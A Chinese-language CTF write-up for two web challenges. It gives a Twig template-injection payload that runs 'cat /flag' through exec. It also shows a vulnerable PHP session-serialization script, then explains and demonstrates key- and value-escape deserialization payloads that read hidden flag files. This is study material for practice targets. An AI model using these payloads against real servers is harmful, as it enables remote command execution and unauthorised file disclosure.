[BJDCTF2020]Cookie is so stable

看名字应该和cookie有关,点击flag有个登录
image.png
看到登录框,可能是sql注入,也可能是SSTI,抓包看cookie
image.png
8.25刷题 - 图3
可以判断出是Twig模板,百度Twig模板的payload

  1. {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
  2. // 前半段的含义为将`exec`注册为回调函数,后半段为回调参数

[安洵杯 2019]easy_serialize_php

<?php
$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}

if($_SESSION){
    unset($_SESSION);
}     //销毁原来的session

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);    //该函数使用数组键名作为变量名,使用数组键值作为变量值。

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

倒数后几行是比较关键的,我们get的f给了变量function,到后面又给了session的function变量,后面如果存在session就会销毁,感觉这个需要绕过,又给ssion的两个变量赋值为guest和变量function。再继续就需要get传参img_path,并将其值先base64在sha1进行编码加密,然后对session进行序列化,再经过filter规则过滤,赋值给serialize_info,只有$function=”show_image”,才会反序列化数据。再对userinfo变量里的img进行base64加密。
phpinfo()给的信息
image.png
8.25刷题 - 图58.25刷题 - 图68.25刷题 - 图78.25刷题 - 图88.25刷题 - 图98.25刷题 - 图108.25刷题 - 图118.25刷题 - 图128.25刷题 - 图138.25刷题 - 图148.25刷题 - 图158.25刷题 - 图168.25刷题 - 图178.25刷题 - 图188.25刷题 - 图198.25刷题 - 图208.25刷题 - 图218.25刷题 - 图22
由少增多where—>hacker增加了一个,我们可以使用字符串逃逸。
由多到少就比如这题,我们就使用键值逃逸。而源码里的extract后覆盖了两个没用的属性,但是后面又强制加了一个我们不可控的img属性。
键逃逸和值逃逸
值逃逸:
这儿需要两个连续的键值对,由第一个的值覆盖第二个的键,这样第二个值就逃逸出去,单独作为一个键值对

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}&function=show_image

var_dump的结果为:

"a:3{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}"

六个flag均被替换为空,由于反序列化的特性,会继续读取24个字符也就是读取;s:8:”function”;s:59:”a”,将第二个键覆盖了,那么第二个值就逃出来了,即s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”,将原来的img=Z3Vlc3RfaW1nLnBuZw==覆盖掉了
键逃逸:
这儿只需要一个键值对就行了,我们直接构造会被过滤的键,这样值得一部分充当键,剩下得一部分作为单独得键值对

_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

var_dump的结果为:

"a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mbGxsbGxsYWc=";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"

这儿的s:7:””之所以为空,是因为我们构造得键flagphp都是会被过滤,所以显示为空,这样就能后面的;s:48:"就被吃掉了,s:1:"1"成为其值,然后将剩下得值充当另一个对象img就逃逸出去~
而对于本题来说:
payload

_SESSION[phpflag]=;s:7:"xxxxxxx";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}    //d0g3_f1ag.php是ZDBnM19mMWFnLnBocA==

经过fileter过滤

a:2:{s:7:"";s:48:";s:7:"xxxxxxx";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

image.png
再对d0g3_fllllllag进行base64,位数没有变直接替换就行了

_SESSION[phpflag]=;s:7:"xxxxxxx";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

image.png
太菜了太菜了